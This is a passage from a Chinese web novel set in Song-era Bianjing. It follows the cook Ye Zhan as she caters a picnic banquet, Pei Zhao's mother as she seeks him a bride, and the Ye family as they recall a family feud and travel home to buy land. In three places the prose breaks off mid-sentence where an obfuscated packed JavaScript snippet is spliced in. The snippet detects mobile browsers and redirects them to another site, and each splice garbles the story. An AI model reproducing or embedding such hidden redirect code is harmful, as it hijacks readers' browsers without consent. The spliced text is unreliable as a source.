下面的小婢女出言阻拦:“姐姐市井小店万一不干净……” 侍女摇摇头。小婢女们才不出声了转为擦桌凳将个手帕垫在椅子上那位侍女才倨傲坐下。 小婢女又给她摆上了自家带来的筷子和杯盘。看得玉姐儿眼界大开原来富贵 人家出行这么讲究? 侍女先拿起一个八宝蹴鞠饭,这蹴鞠饭各个是圆鼓鼓的小球,表面用粉 “米”字、“万”字、“井”字花样,红紫苏腌姜做成金盏花,萝卜片做成梅花,形状精致漂亮,让人很难错过。 一口下去,原来这个是咸味,腌姜下饭、鸡蛋丝鲜美,肉松在嘴里化开,一下让人极其满足。 再仔细打量其他饭团,发现黄的是鸡蛋丝,绿的菠菜,粉的,米字型黄瓜,黑点是芝麻,上面的主菜有鹌鹑肉、羊肉、糖脆梅、玲珑双条、栗子酱、廖花①、黄花菜等各种配料。 “不同喜好的客人都能满足。”侍女在心里暗暗思忖。 再尝尝凉拌羊肉,叶盏处理过这道菜,选用羊身上最嫩的部位,煮熟凉拌料泡两个小时再捞出,这样就没有了汁水。 再盛放在卷起的小饼上,方便取用。小饼采用了墨西哥卷饼的思路,半开半阖,用红葱头做了本土版莎莎酱,方便蘸取。 吃起来丝毫没有膻味,而是又嫩又鲜。 下一道鹅梨羊肉签是用竹签将烤好的羊肉和鹅梨一起串成串,等到郊野还能自己上火复烤。竹签一拿方便取用,不用脏手。 另外两道菜烤鸡翅和蒜香酸辣鸡爪算是本时代的奢侈品了,古代又不像现代能够批量化大生产,要凑鸡爪鸡翅只能买整鸡自己剁。古代有几位大臣留下“奢侈”的罪名不就是因为要凑白菜心和鱼唇嘛。 叶盏一口气买了五只鸡才凑齐,还好食肆客流量大,取用剩下的部位她做个辣炒鸡胗之类的菜式也能迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101484|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速消耗完。 烤鸡翅外皮焦褐,像流着蜜一样,蒜香鸡爪则酸酸辣辣蒜香十足。 侍女对于攒一盘鸡翅这样的奢侈之举倒并没有提出赞叹,似乎对此已经习以为常。 反而提出了意见:“这两眼虽好吃,但自己私下里踏青吃着好玩,设宴难免不雅,可否用其他菜式替换?” 叶盏受了提醒,赶紧答:“好,就用甜厚蛋烧和脆鸡米花来代替。都方便拿取。” 这位客人虽然倨傲但她的意见却很重要,叶盏身处小市民阶层,对踏青的设想当然是酸辣鸡爪在野外开胃、烤鸡翅老少咸宜,却忘记了古代贵族阶层踏青要得是体面风雅。 这么一来她决定设置AB两 种套餐,让客人自己选,如果是家人朋友不拘小节那就以好吃为主,如果是宴饮就以体面为主。 侍女又尝了尝陈皮红豆双皮奶:雪白的牛乳已经凝固成膏状,上面漂浮一圈蜜红豆,吃进嘴里奶味醇厚,蜜红豆甜滋滋可口,还有一丝陈皮独有的芳香,算是一道不错的点心。 她每样都尝了一遍后,拿出巾帕优雅拭拭嘴,这才开口:“做得不错,我要预订五十份,务必干净洁净,送到西郊的太师园。 太师园是太师老人家的私家园林,听说里头景色秀丽,不输皇家园林,有时候也借给贵族们办宴席,能有能力在太师园办席,实力和地位都不容小觑。 叶盏应了下来。 她说完后自有小婢女上前将定金送上前来,叶盏收了二十五两:“先收您一半定金,若是有吃坏肚子或滋味出了纰漏的,您只管扣着后面的钱。 侍女抬头打量了叶盏一眼,似乎很惊讶她能有这样魄力,半天才笑道:“好,那便说定了。 反正以她的身家背景也不会怕叶盏一个小老板赖账。 玉姐儿眼巴巴看着那些人走了,赶紧凑上前去问叶盏:“妹妹,什么叫鸡米花?现在起锅做吗?厚蛋烧妹妹给她做过,甜甜的,软软的,这鸡米花应当更好吃吧? 叶盏“嗯了一声:“一会青娘子就要开门做生意了,咱回家做。 一边又冲裴昭歉意道:“裴大人,我们该打烊了。 她出言提醒,裴昭才意识到自己坐到了现在,再看外面天色已经黑透,街市上人来人往已经点灯夜游,不由得好笑:没想到自己看了这么久。 可这家老板做事麻利,就如流水一般张弛有道,让人忍不住看下去。 他起身:“是我叨扰了。 等回到裴府,两位小厮早就在门房候着,见自家少爷来立刻上前牵马,一个牵马一个稳马镫,笑道:“少爷又将我们打发开,难道是去外面偷吃? 他俩自小跟着裴昭长大,没大没小惯了,本来是开玩笑,却让裴昭牵着马缰绳的手一顿,心中颇有些不自在。 作者有话要说 ①《武林旧事》 有宝子说希望白天也能看,所以我加更一章。每天晚上九点更新,其他时间会不定时加更(取决于当天能力) 第 36 章 鸡米花 裴家清清静静住着祖传大院。 裴老爷是个一心只知当官的。 裴夫人名唤柳如嫣,她是个会过日子的,原本出身书香门第陪嫁不多,可她善于经营,嫁过来后先是默书,誊写了几本柳家的几本藏书,而后抄写注解多本,卖给书院大大赚了一笔。 而后用这笔银子做本钱,在京郊置办了土地,等裴老爷四处做官她也跟去,身为官夫人不与民争利,只不过每次离开辖地时总能买几船土产走。 离开徽州置办了几船徽墨、离开成都府时置办了名山茶、蜀锦、蜀扇好几种。 最难得是一种省油灯①,灯中一端注水便可省下一半的灯油。 这省油灯一经售出便推广开来,柳如嫣索性与四川邛窑②合作,长期从蜀地往汴京贩卖省油灯。 如今汴京城多有的省油灯都出自裴家。 家中又无侍妾和子女分薄资产, 因此裴老爷虽然不过是个四品官,可裴家却家底丰厚,生活得很富裕。 两口子只有裴昭一个独子,裴夫人很关心儿子,听见外头宅院通禀说公子归家,当即便去他院里探望。 去了后儿子正坐在花厅喝茶,裴夫人一看就急了:“厨房怎的摆饭这么慢?” 原本她就心疼儿子归家晚饥肠辘辘,一边问大斧:“你们这些跟着少爷的,怎么也不尽心提醒厨房里早些摆饭?” “娘,是我叫他们不用再上菜的,我在外头吃过了。”裴昭出言制止。 “吃过了?”裴夫人想想作罢,又念叨两句,“应酬也是好事。” 裴昭想说自己没应酬,只不过是在小食肆吃了饭。不过不知道为什么,在开口那一瞬他就将这句话压了下去,连自己都没意识到这有什么好隐瞒的。 裴夫人没注意到儿子的不对劲,还说话呢:“你做官不能像你爹一般死脑筋,也应当审时度势,多跟同僚往来喝酒应酬,须知水至清则无鱼人至清则无徒,千万莫要遗世独立做那等清高孤傲的样子。” “知道了,娘。”裴昭哭笑不得,他都二十岁的人了,娘还念叨这些琐事。 说也奇怪,爹从裴家这样官僚世家出身却一肚子天真热血,娘出自书香门第却熟知世俗圆融,夫妻两人好似掉了个。 裴昭听娘 说爹,不由得好笑。爹能做到四品官肯定不是全凭天真,只不过娘偏心爹,才会觉得“官场那些人都是会算计的只有你爹最忠厚。” 这跟市井妇人说“旁的小孩都精刮只有我家孩子最老实”有什么区别? 裴夫人见儿子面带一丝笑意,还当他不愿意听呢,便辩解两句:“别嫌娘话多,还不是你从小就被送到你外家读书这两年才能团聚?我总觉得你还是当初那么大点。” 孩子小时带去缺医少药多瘴气的外地不安全,便和她一起留在了汴京娘家,等六七岁再带着一起和丈夫团聚,可转眼要读书,开蒙时她和夫君还能教导,等读得再深入些便只能忍痛将儿子再送回娘家书院。 后来好容易等到儿子读书中了进士,偏偏本朝规定父子不得在一地当官,裴昭做京官,裴老爷便只能在外地。 还好这回裴老爷是在京兆府长安做官,她顺着河坐船几日便能回京看看儿子。 只不过理智上再知道,实际看儿子时总觉他还是当初离开父母时小小的模样,忍不住要叮嘱他各种为人处世的微妙处。 “娘,开封府里同僚都很好,只用专心办案便是,没有那样乌烟瘴气的风气。”裴昭耐心开口,娘焦虑,他多哄哄娘就是。 “那便好。”裴夫人这才松了口气,又忍不住念叨:“都说成家立业,若是你能娶个新妇也算大人了,娘就彻底不再啰嗦讨人嫌了。” “咳——咳咳。”裴昭一口茶沫子差点呛着,没想到娘会提起这些,他半天才将那口茶叶咳出来,“娘。” “有什么可回避的?”裴夫人不以为然,“男大当婚,天经地义。” 先前她随着丈夫仕途奔波,不好给儿子定亲,总不能在任职的当地定下亲事吧? 之后孩子一心科举是大事,自然不能扰乱心神。 如今考中,又有了差事,还能再等? “我叫你父亲已经给他的同年、师门等各处去了信,我这回来汴京也要去你外祖家求助,总要说定了你的婚事我才走。” “娘,我心思不在这上面。”裴昭放下茶杯,正色劝娘,“我办案判案,难免会被当事哪方怀恨在心,万一盯着家眷蓄意报复,娶妻岂不是连累人家?” “那就调离开封府,你在金吾卫不是好好的嘛。” 裴夫人在心里念叨了一句,不过她也知道儿子志向在此,便没有说出口,只道:“开封府那么多官员,也没见谁因此就不娶妻了。再说咱家宅子这么大,又有仆从,哪里就危险了?” 再看儿子执意不许,她便也悻悻然回自己房中,决定明日往娘家走一回问问可有适龄女子。 叶盏拿了定金便四处采买菜蔬,用心将这踏青食盒准备起来。 先是去木匠那里定制了五十个食盒。 原本叶盏只定制了一两个做展示商品用,没想到那位侍女瞧着这食盒好,索性就交由叶盏来负责,还表示愿意出食盒的钱。 准备好了食盒便是做菜。 炸鸡米花倒简单,将鸡胸肉切成小丁腌制。为了凑鸡翅买了好几只鸡,鸡胸柴不好做菜剩下来了,这会正好做菜。 等腌制一会后再将鸡胸肉下油锅炸半熟起锅复炸,等炸到金黄酥脆时才起锅。 这回别说宓凤娘,就是贪嘴的玉姐儿都惊呼:“费油。”炸完后小半锅油不见了。 “还有炸鸡翅呢。” 玉姐儿一听是什么也想不出来,一只鸡才两个翅膀,要炸这么一大锅鸡翅,又费油又费鸡,是何等奢侈的人家才能有这样的折腾? 不过滋味确实不错,黄金外皮咬一口酥酥脆脆,内里的鸡肉嫩嫩,叶盏特意制作了咸口的黑胡椒蘸料和酸甜口的林檎酱两种。 玉姐儿蘸着吃起来停不下,不好意思捂着脸跟叶盏说:“妹妹,回头从我分红里扣些钱呗。”她自认在店里吃掉了一份分红呢。 叶盏笑,汴京就是开封,她在汴京做鸡米花岂不是货真价实的“开封菜”? 五十个食盒,一个里面十个小八宝蹴鞠饭,加起来便是五百个。 叶盏团得手都要酸了,玉姐儿跟着帮忙也叫苦不迭:“钱可真不好挣。” 宓凤娘知道自己厨艺差帮不上忙,就在外面地摊买了些膏药,夜里给两个女儿贴在背上。 等做好了食盒,叶盏便又请两个哥哥帮忙一起送到太师园。 她家没有牛车,好在汴京街上到处都有马车牛车往来,类似后世的出租车,挥手即停,宓凤娘找了一家街坊的,请他事先将马车刷洗干净。 几人帮忙搬运这才将食盒带了过去。 等 到了太师园,那侍女早就等着了, 见马车很是干净,铺一层干净的稻草,上面再铺一层纱布,最后是一层雪白油纸,食盒一个摞一个放在上面,旁边还用水盆放了冰块在旁边降温。 而叶盏一行几人都没有坐车,跟着马车步行,显然是担心弄脏了马车上的食盒, 侍女很是意外,叶二姐食肆到这里不近,旧郑门一路往西出了新郑门,两道门之外还有半截路,这家人居然就这么步行了过来。 她挥挥手示意小厮们上前拿取,给叶盏多给了一个银子:“这是主家的赏钱。 这块碎银子被人用剪刀绞过,因此不是足两,可这也不少呢,放入手中沉甸甸,叶盏忙行礼:“多谢。 还有一半银钱要等到宴席结束才能够呢,叶盏和玉姐儿两个索性就在门口树荫处等外面宴会结束,以免出什么纰漏。 因着两位哥哥都有差事要办,便只能先行离开,留两姐妹在这里等。 叶盏跟那位侍女要一条窄椅,侍女倒好说话,带她们去园门口偏向外侧的一处僻静处:“这里有间亭子可以休息,往西走几十步就是茶水,你只要说自己是紫芸请来办事的帮手就能进去讨茶水。 玉姐儿倒不急,妹妹给她俩也做了一个踏青食盒呢!虽然食材都是做菜剩下的边角料,但那也都是平日里舍不得吃的羊肉干贝,她一路上不知道咽了多少口水。 她看人走了,便小心吹吹亭子里石桌上的灰尘,将食盒放在上面。再迫不及待从箸袋里掏出筷子。 鸡米花还带着温热呢!吃进嘴里仍旧是酥酥脆脆,一点都没变软。 八宝蹴鞠饭团好漂亮,先挑哪一个呢? 玉姐儿迫不及待挑了个贝柱干的,这是贝柱晒成的干货,从海边运来,价格便也高昂,玉姐儿早就盯着了。 雪白圆圆的贝柱,周围又交叠围一圈樱桃萝卜切出的薄片,仿佛一朵白牡丹,中心雪白,周围层叠簇拥着,只有边缘有一点粉色,叫人不舍得吃呢。 贝柱水发又烹煮过,吃进嘴里让舌头一激灵,来自遥远海洋的海味还带着特有的咸鲜, 咀嚼起来也很有意思,是那种富有嚼劲的口感,能感受到贝柱被咀嚼成了无数细丝。 樱桃萝卜片也大有端倪,原来被叶盏腌制过, 所以并不是辣萝卜味,而是酸酸甜甜,口感也有点韧性,似乎像萝卜干,正好给贝柱作配角。 玉姐儿吃到满意处,高兴晃晃脑袋,双手摆摆动:“妹妹,你这手艺真好。” 两人正在这品鉴美食,就见一个熟悉的身影。 “裴大人!”玉姐儿疑惑出声。 虽然离得远,对方却还是听见了,转过头来,果然是裴昭。 他也疑惑停住脚步,似乎没想到会在这里遇到两姐妹。 随后毫不迟疑拔腿就走了过来。 “裴大人,这么巧,您也来这里?”园子里走动的小厮和婢女就像没看到她们姐妹一样各顾各的忙,因此玉姐儿看见熟人后很高兴。 “是。我正好有事来这里。”裴昭彬彬有礼回答。 裴大人是办案的,说有事,那应当是来查案子或者追踪凶犯了,姐俩一想就到这里去了。 再一深入想,内里是高门贵族在举行宴会,哪里会容忍一个小吏的打扰?肯定不耐烦敷衍让他等宴会结束再来。 怪不得裴大人会在这里徘徊了。 想到这里叶盏就觉得裴大人颇有点不容易,好意问他:“您可要同坐?”坐在这里等待至少避免了被主人家冷落干等在一边的尴尬。 “多谢。”裴昭冲她拱拱手,便坐在旁边的石凳上。 玉姐儿看了看被自己吃了两个的饭盒,到底还是嘴上客气一下:“裴大人,可要跟我们同吃?” “多谢。”裴昭回答得利落。 玉姐儿:…… 算了,毕竟这位是店里的常客,出手打赏也大方。 裴昭是直率的性子,在征询了之后便拿起一份鸡蛋井子形的八宝蹴鞠饭团吃了起来。 还好还好,不是贝柱的。玉姐儿感谢上天垂怜。 裴昭这几天在店里常见叶盏忙来忙去试食盒菜式,却从未尝过,如今一试果然不同凡响,卖相精致、滋味多元,食材好看又好吃,怪不得能精心策划那么久。 等他吃完后玉姐儿又拿起一份鹅梨羊肉签递过去:“裴大人尝尝这个。”裴昭吃得越饱她的贝柱就越安全。 “多谢。”裴昭接过去,不疑有他。 这羊肉签叶盏改良过,除了烤羊肉还加了凉拌羊肉,为的就是担心凉 了羊油凝固不好吃。 裴昭拿的这块就是凉拌过的,全是羊瘦肉,清清爽爽丝毫没有油脂。 裴昭之前从未想过凉拌羊肉和米黄的鹅梨能串在一起,看着就很漂亮很精致。 吃起来一点腥味都没有,嫩嫩的羊肉虽然没有任何汤汁滴下来,但是糅合了凉拌调料的滋味,并不单调。 吃一口羊肉再吃一口鹅梨,甜滋滋的果香充盈了口腔,原本羊肉滋味荡然无存,只好回去再吃一口羊肉。 有了果香的铺垫,羊肉的鲜美更加醇厚, 好像是在拼命将享受盛宴的时间拉长再拉长。 “匠心独运。”裴昭赞美了一句。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101485|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那是自然。”玉姐儿也为妹妹自豪,“我妹妹做的菜自然是全天下第一的好吃。” 鸣蝉阵阵,风将槐树的花香送了过来,园子里一树高大的合欢从园里垂出枝条,粉红色缨子状花朵在柔软如羽般树叶间点缀,里头文会喧哗的人声从墙外飘进来,还能听到院子里头缥缈的音乐声。 三人吃完了饭,喝着茶水,安逸听着音乐声,倒有了一丝踏青的闲适。 “刚才妹妹说我们才是享受了满园风光。果然没说错。”玉姐儿笑眯眯开口。 裴昭拿着茶杯的手一顿,他没想到叶盏跟自己心中所想不谋而合。 里面名利场上看似繁花似锦却无人精心欣赏花开花谢,反倒是他们三人坐在园子边缘,能感受风感受树荫婆娑,裴昭笑着看院中随风摇摆的合欢树:“叶二姐说得是。” 或许是几人结伴,或许是美食太过精致,裴昭竟然觉得时间过得很快,等到侍女过来找叶盏结账时他自己都觉得怎么这么快就结束了。 不愧是贵族仆从,侍女看了看裴昭,虽然奇怪但没开口讲话,只给叶盏递过去一个荷包:“你瞧瞧够不够。” 荷包里装了二十五个银子,叶盏清点了两遍后点点头:“没错。” 侍女又拿了两条锦帛给她:“这是捆扎在树上做假花的,现在没用了,给你拿回去裁衣服吧。” 叶盏道了谢,这种帛就算到了科技发达的现代一米也要一千块钱,在古代的确是好东西。 她拿了荷包批帛,道谢后便和两人离开。 侍女看着几人的身影,终于想起来了, 跟小婢女奇道:“那位公子不就是今日请来的客人之一么?怎么会中途离席又跟厨娘在一处? 怪不得她刚才看着这位客人总觉得脸熟呢,长得俊美的客人总会给人留下印象。 小婢女捂嘴笑:“姐姐是有名的聪慧人,怎么今儿个倒糊涂了?还不是出来散酒看中了这位厨娘,所以有意攀谈。 侍女也笑:“原来是窈窕淑女君子好逑。 那位厨娘生得美貌又伶俐聪明,能被瞧中也是难免,只不过那位公子既是坐中客想必地位不低,又怎么屈尊纡贵去俯就厨娘? “裴大人,您不去办事了吗?叶盏看宴会已散,还当裴昭应当可以去办事了。 裴昭摇摇头:“不用了。 叶盏想着也许是主人家这么冷遇他让他不高兴了,便识趣没有再提。 裴昭坐着马车来,叶盏和玉姐儿便也顺路坐了马车,玉姐儿还是第一次坐私家马车,很好奇,却也克制住了自己目光没有乱看。 反而是裴昭自己翻出储物格里的点心盒子请她吃:“这是家母留着让我办案时充饥用的。 玉姐儿:掉进了米缸。 等到了炭场巷,裴昭放下两人,叶盏姐妹俩诚心诚意向他道谢:"多谢裴大人。" 这回姐妹俩一致觉得裴大人真是个和气的好人。 裴昭含笑点头,看着她们进了巷子回家这才放下车帘。 旁边大斧和鸣镝对视一眼:这是怎么回事呢? 少爷好好来赴宴,明明是参加文会怎么就遇上了这厨娘? 这也就算了,最后他跟厨娘一路回了汴京,非但如此,还和气将她一路送进了家里。 跟着少爷这么多年,还没见少爷对哪个除了嫌疑犯的女子这么上心过。 难道……这个厨娘身后背负了大案? 联系到少爷在追查一对情侣殉情案,两位小厮不由得对视了一眼:叶二姐可能是嫌疑人。 因此回到裴府被夫人叫去询问少爷最近有无什么中意的女子时,两个小厮异口同声:“没有。 “我们少爷平日里最喜欢判案子,要不就是翻阅卷宗,哪里有什么旁的心思? 大斧更是拍胸膛保证:“夫人放心,咱们昼夜跟着少爷,少爷有什么动静还能不知道?定 是没有的。” 裴夫人点点头她这回回娘家讨要主意娘家人倒是给了她一张与她家门第相当的适龄闺秀名单上面有各家闺秀的性情和家人情况。 裴夫人行动之前到底还是想问问儿子可有自己看中什么人免得乱弹鸳鸯谱反而不美。 问过之后确定儿子没有旁的心思裴夫人就安心回屋写信将纸上的人家给丈夫提了一遍问清楚可有政见不同或家里污糟的 她写完信后又叹气贴身婆子便问:“夫人何故叹息?” “我常年随着老爷在外面这汴京本地的人家竟然一点都不知要不然也不会连个头绪都没有。” 婆子安慰她:“夫人莫急好事多磨说不定少爷的命定姻缘忽然就冒出来了也不一定。” 裴夫人被她逗笑了:“那就承你吉言。” 叶盏回家算账这一趟成本有一半算下来五十个食盒赚了二十五两。再加上额外打赏的半两碎银有二十五两多一点。 也就是说家里几人一趟辛苦叶盏和姐姐两人忙了两天赚了二十五两银子。 玉姐儿高兴抱着钱袋子翻来覆去数:“咱家可是发达了时不时就能赚一笔钱。” 宓凤娘如今倒有些好高骛远:“也不知道什么时候能再发一笔一百五十两银子的横财。” 上次那防风炉的好事可惜无法重演。 叶盏却开口问家人:“爹娘现在外面的地价如何?” “就拿我们老家来作比贫瘠的旱田二百文一亩可以种植水的水田最肥沃的可到二两银子一亩。”叶大富回忆着问女儿“好好问这个作甚?” “我想买田。”叶盏回答。 自己赚了二十五两银子加上家里赚的一百五十两银子已经是一百七十两银子而且后续踏青食盒肯定还会源源不断赚一批钱。 如果能趁着这时机买一批田地让它们放在那里钱生钱也能加快致富速度。 女儿想买田?两口子惊讶对视掩饰不住诧异。 作者有话要说 ①省油灯出自陆游《老学庵笔记》 ②四川邛窑:宋朝时四川的民窑 有宝子问我加更会不会影响原有字数答案是不会今天仍旧是六千。 第 37 章 一更 “如今我们家老家还有什么亲戚故旧么?可以跟他们先打听一下?”叶盏想着先打听一下家乡情况。 毕竟依照《乡土中国》的理论,在农业社会买田置地这样的大事寻了本地土著帮忙才是最好的办法。 谁知宓凤娘和叶大富两口子对视一眼双双沉默。 半天才给女儿说了家里的往事。 叶家祖祖辈辈生活在汴京郊区的雍丘县爷爷奶奶生了一女两男:大福、大富、大官。 大福姑母嫁到了县城上的榨油坊,日子早年滋润后来丈夫另娶了小,对方生儿育女她无出日子便艰难起来。 叶大富像父亲生得身高体阔、仪表周正,叶大官像母亲矮了半头、畏畏缩缩;叶大富娶了门当户对的地主女儿叶大官因为长相有瑕疵气质太弱没人看得上只能退而求其次娶了佃户的女儿。 明明是两兄弟,两人却脾气长相迥异。 叶大官打小就秉性不好 譬如一碗肉面一碗菜面,他想吃肉面偏不明说,先是把肉面藏起来,把菜面递给自己大哥叶大富问一句:“我想吃肉。”叶大官便絮絮叨叨说好久吃菜面的好处,想劝大哥去吃肉面。 眼见着叶大富开始吃菜面了,才将肉面从暗处端出来。 小时候这么做还觉得可爱,可年近三四十他都是这个做派,一副上不得台盘的算计劲儿。 等两人成亲后两家院子住着矛盾就更多了:宓凤娘爱说爱笑长得漂亮在村里好评很高,叶大官媳妇任月心则嘴笨又心眼坏,在村里不受欢迎。 大房生男生女热热闹闹,村里有人家还特意来宓凤娘打听生孩子秘诀任月心成婚几年才生了个儿子 于是即使大房什么都没做都被二房视为眼中刺。 叶大官因为长得像母亲所以得了母亲的偏爱常常叶大富指责弟弟做得不对时叶老太太都睁眼说瞎话向着小儿子。 叶老爷子只顾着种地攒金元宝不管儿子教育叶老太太又一味偏向小儿子于是叶大官成功被养偏了叶大富也成功跟父母离了心。 听到这里叶盏想:怪不得爹对子女不管男女都一碗水端平看来是在修复自己的童年创伤。 叶盏听完后总结如 果亲爹是小农狡猾的话,那叶大官就是蔫坏。 看着不声不响不说话,可做出的事都能给人设个陷阱。 好比他把梯子用坏了,不修也就罢了,好歹提醒一下家人,偏偏他不吱声,仍旧往家里一放,叶大富不知情,上墙修瓦时从梯子上摔了下来。 这时叶大官才惊讶说:“大哥不知道吗?梯子坏了。” 叶大富责问他,他却无辜说自己只是忘了提醒大哥。 原先是拿梯子坑人,后来长大后拿大事坑人。 叶盏丢了,身边人开始劝叶大富夫妻往前看。 “现在嫁闺女嫁妆可贵了,好多人家生下就得淹死,你家闺女倒是个报恩的,主动走丢了,省了你们手上背罪孽。” “别说丢了个女伢,就是丢个男孩隔年也能再生一个,你家这么多孩子怕什么?” “挨饿荒年还有吃孩子的,你们找了几个月已经尽够本分了。” 在一群不正常的人群中,正常也变成了不正常。 在不正常的世界,正常是罪过。 这些劝叶大富的人里面就有叶家爷爷奶奶、叶大官等人。 偏偏叶大富和宓凤娘都是儿女心极重的人,不管旁人说什么,自己一门心思就要找女儿。 在几次阻拦无果后,叶大官便嚷嚷着分家,索性将家产分了两分。 叶大富夫妻倒觉得这很合理,没必要拉着二弟一家为自己找女儿出钱,因此分家没有影响他们对二弟的感情。 奈何二房对他们没有什么感情,撺掇叶家老两口住到小儿子家里去,榨干了他们留着养老的金钱田地后又把老人赶到了老大家里。 叶大富在外地找孩子,宓凤娘在家照看田地赡养公婆,给公婆接连送了终后二房居然又在葬礼上跳出来,指责宓凤娘不孝顺伺候公婆不尽心才害得老人去世。 他们闹这一场的目的是想独吞葬礼上的随礼礼金。 还是族长站出来说了公道话才两家平分。 二房越发嫉恨大房。 遇上官府修渠,民间有意向的人家可以出一份钱让水渠往自己家绕绕,许多地主家都愿意,毕竟便于以后灌溉,是桩大好事。 叶大官不找人帮自己哥哥捎句话,悄无声息只报了自己家田产, 等到叶大富得到消息从外地赶回来时 看着没做坏事偏偏每件事都这么膈应你日子久了叶大富跟二弟的感情就越来越淡。 “人都说兄弟姐妹天生亲近其实还是要看缘分有时候即使身上流着同一个爹妈的血还是无法亲近。”叶大富总结。 宓凤娘则趁机教育儿女们几句:“以后你们成家后看重自己小家很正常但万万不可互相之间偷奸耍滑使心眼。” 叶家儿女齐齐应是。 后来叶大富变卖田产叶大官知道后破天荒拎了一袋米糕进了大房家。 开口没有询问一句哥哥是不是需要帮助第一句话便是:“看在咱们兄弟情谊份上村口那片水田能不能便宜三成给我。”来趁火打劫。 叶大富又伤心又愤怒一把铁锹赶了出去。 两家便断了联系从此叶大富只跟姐姐互通往来。 宓凤娘这边亲戚倒关系不错:“你外祖父母去世了你姨母嫁到了隔壁的信阳郡她公爹是个出息的给位县令当师爷全家跟着县令去贵州赴任了寻常都有书信往来。” 只不过本地也没什么近亲:“我的叔叔伯伯当年因为觉得我家是绝户想侵占祖产跟你外祖父闹翻了也不往来。” 原来外婆家只生了两个女儿估计当年在乡下也受过歧视怪不得宓凤娘这性子火爆。 外祖只有两位女儿自然是如珠如宝疼爱所以宓凤娘没有如大部分同乡人一样看不起女儿反而将女儿看得重要。 一位认为女儿跟男丁一样的娘一位立志不让孩子吃父母偏心苦的爹两人在一起才会做出散尽家财寻女儿的惊世骇俗之举。 叶盏再次觉得做他们的女儿真是她两辈子以来最幸运的事。 比穿越捡回一条命还要幸运。 这也坚定了她要帮叶家买回田地的决心:“爹娘要不我们回老家问问还买回田地可好?” 叶家父母想了想最后还是同意了。毕竟卖掉祖产在乡下人眼里是大不孝的败家子如今能有机会买回来最好。 于是时隔多年叶大富带着儿女归家。叶璃跟着师父有功课银哥儿要当值抽不开身便只带了三 个女儿。 老家雍丘县离着汴京不远,往西走坐半天车便能到。 坐上“汴京版出租车”,叶大富发挥了自己讲价能力,成功让一家五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101486|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口饶了一文钱。 省下这一文钱,他又添了一文,去街边买了一巴掌大小黄杏,抱上来给家人和车夫分:“路途颠簸,吃些黄杏生津止渴,免得恶心。” 叶盏:不愧是亲爹,该省省,该花花,骑着自行车去酒吧。 车走了一条街,又上来两人。 叶大富抗议:“车把式,你是把牛当大象使啊?” 车把式摇摇头:“不怕不怕,你家两个小娘子那么瘦,载得动。” 叶大富便从路边枝头扯了一把嫩树叶犒劳老牛,牛舌头一卷,就安安静静吞了下去,站在路边慢慢反刍。 上车第一位是名老先生,看着很瘦,应当没什么重量,谁知第二位是位熟人——王四。 仇人见面分外眼红。 叶大富立刻挥舞拳头:“你个撮鸟!我精拳头有一双相送!”说着就要过去再揍他一顿。 还是车把式拦着:“这位客人昨天就给我付了定金,您可不能打他。” 叶大富便作罢,不过还是冲着王四挥了挥拳头。 王四缩缩脖子,似乎是想起了那天被毒打后的疼痛。但他也是个抠门的,想起付了定金不能退,就硬着头皮继续坐在马车上。 宓凤娘扯扯丈夫,不理会王四,只一家人坐在一起说说笑笑,不时指点外面的景观,倒像是在郊游。 王四待在车角落,不时偷偷白这家人一眼。 叶家人在这种欢乐氛围中不知不觉到了雍丘县境内。 看见界碑,叶大富自豪跟女儿介绍:“我们雍丘县可是好地方,往北是洛阳府,往南是开封府,夹在两大城之间,风水好哩,听说周时还叫杞国,说不定有大墓呢!” 一直安静的王四忽然开口:“哼,杞人忧天!”他刚才看着叶家人笑闹可气坏了,赶紧抓紧时间嘲笑杞人出出气。 “真是好笑,自己是个流民,不被我收留你连户籍都没有,借着我们雍丘县的土地发了财,如今倒来说雍丘县的不是?”叶大富一听就气坏了。作为杞人,他们雍丘县人没少被外人用这个典故笑话。 “我说的 是俗语,关你什么事?王四梗起脖子犟。 这……叶大富哑火,他听出了王四说话不友好,却没法挑人家的刺。只能狠狠瞪他一眼。 就在这时叶盏开口了:“其实杞人忧天压根儿没说对,鲁庄公时杞人被迫迁徙到鲁国,这时候才有了杞人忧天的成语。 “可《史记》里说过,那时候鲁西北陨星如雨,当地有南、北落星村,还有星星山,都是天上落下的陨石得名,换成谁在那里住看着天上时不时下石头雨,都得担心天塌下来。 金哥儿跟着帮腔:“就是,我们杞人才不是乱担心呢。 王四哑口无言。 宓凤娘虽然没听懂女儿说的一长串,但也知道声援女儿:“也不知谁,只认识几个字就乱用起了典故,显得自己多有文化,真是半瓶水! 气得王四涨红了脸,但他的确没什么文化,只能干瞪眼。 